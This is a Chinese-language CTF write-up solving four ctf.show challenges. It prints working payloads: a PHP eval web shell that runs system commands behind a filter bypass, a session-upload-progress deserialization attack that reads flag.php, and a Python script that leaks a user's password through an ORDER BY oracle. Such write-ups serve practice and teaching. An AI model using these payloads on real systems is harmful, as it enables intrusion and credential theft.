1.easy_zip(misc)
1)打开环境后是一个压缩包,解压里面有个flag.txt文件需要密码,
2)直接用工具爆破,即可找到密码
2.easy_eval
1)进入题目环境,先进行代码审计
首先说是要使用post传参,传入参数code
然后是str_replace()把字符串中某一的字符,换成另了空格字符并且区分大小写。
然后存在一个过滤,把问号过滤掉了。
所以我们常见的<?php ?>和<? ?>就不可以用了。但是我们还可以用<script></script>
这种php标签可以不用问号。
2)根据代码审计结果,构建传入的参数
code=<script language='PHP'>eval($ POST["cmd"]);</script>&cmd=system("ls")
注:通过eval()
函数来执行通过POST请求发送的cmd
参数中的命令。但是,<script>
标签是HTML中用于JavaScript代码的标签,这里<?php ?>和<? ?>被过滤,所以才使用该标签,所以它并不是PHP的语法。
3)发现出现回显,有index.php文件,然后查询一下有没有flag
&cmd=system("find /f*");
4)有回显,说明有flag,直接cat
3.剪刀石头布
1)
注:ini_set
是PHP内置的函数,用于在运行时更改配置选项的值。通过调用ini_set
函数,可以修改php.ini
文件中的配置设置,而无需手动编辑配置文件
2)进来看到getflag,点击说是要赢一百才能拿到flag
3)查看源码,里面有提示
看着ini_set('session.serialize_handler', 'php'),这里应该又是反序列化了
这里它还给了phpinfo界面,查看一下
因为反序列化我还不太懂,就找了篇大佬的php来看了下
他是这样说的:这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。
在__destruct方法中有file_get_contents函数可以来读取flag.所以这题主要思路就是构造序列化串利用服务器处理器不同造成的安全问题通过 PHP_SESSION_UPLOAD_PROGRESS来提交我们的序列化串。 在这里对session反序列化进行简单说明。网上相关讲解也很多
这里需要修改类属性
<?php
class Game{
public $log;
public function __construct()
{
$this->log = "/var/www/html/flag.php";
}
}
$a = new Game();
echo serialize($a);
//|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
?>
然后就是利用session上传进度提交我们的序列化串了,
<!doctype html>
<html>
<body>
<form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
然后抓包改数据包,修改文件名为序列化串,然后发送得到flag
4.CTFshow web1
1)进入题目环境,又是一个弱密码的爆破界面
2)先看一下源码
貌似这里有提示,简单分析一下
-
var p=$.md5($(".password").val());
:这行代码使用了一个 JavaScript 库中的md5
函数,该函数用于计算字符串的 MD5 散列值。根据代码中的写法,似乎是通过 jQuery 库的$
对象来调用md5
函数。它首先获取了类名为.password
的输入框的值,然后计算其 MD5 散列值,并将结果存储在变量p
中。 -
$(".password").val(p);
:这行代码将计算出的 MD5 散列值设置为类名为.password
的输入框的值。换句话说,它将用户输入的密码转换为 MD5 散列值,并将该散列值填充到密码输入框中,
3)试了一下,还是直接扫一下看看
4)扫出来www.zip文件
5)依次打开几个文件
login.php能禁的基本都禁干净了,登录页面貌似没有注入的可能。reg.php也是如此,所以注册页面也没可能了。剩下最后一个就是显示信息的页面了。这里可以看到在数据库中是把所有的字段(包括密码)都给查出来了,但是没有显示密码的地方
我们可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的
顺序大致是这样,这时我们就可以判断密码的第一个字符为f,这里还是用python代码比较快,
直接拿大佬的脚本来跑一下即可得到flag
#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
print("*")
for i in s:
#print(i)
l=""
l=k+i
l2 = k+chr(ord(i)-1)
data={'username':l,
'email':'c',
'nickname':'c',
'password':l
}
data2={'username':l,
'password':l
}
if (l=='flag'):
k='flag'
print(k)
break
session = requests.session()
r1 = session.post(url1,data)
r2 = session.post(url2,data)
r3 = session.get(url3)
t = r3.text
#print(l)
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
k=l2
print(k)
break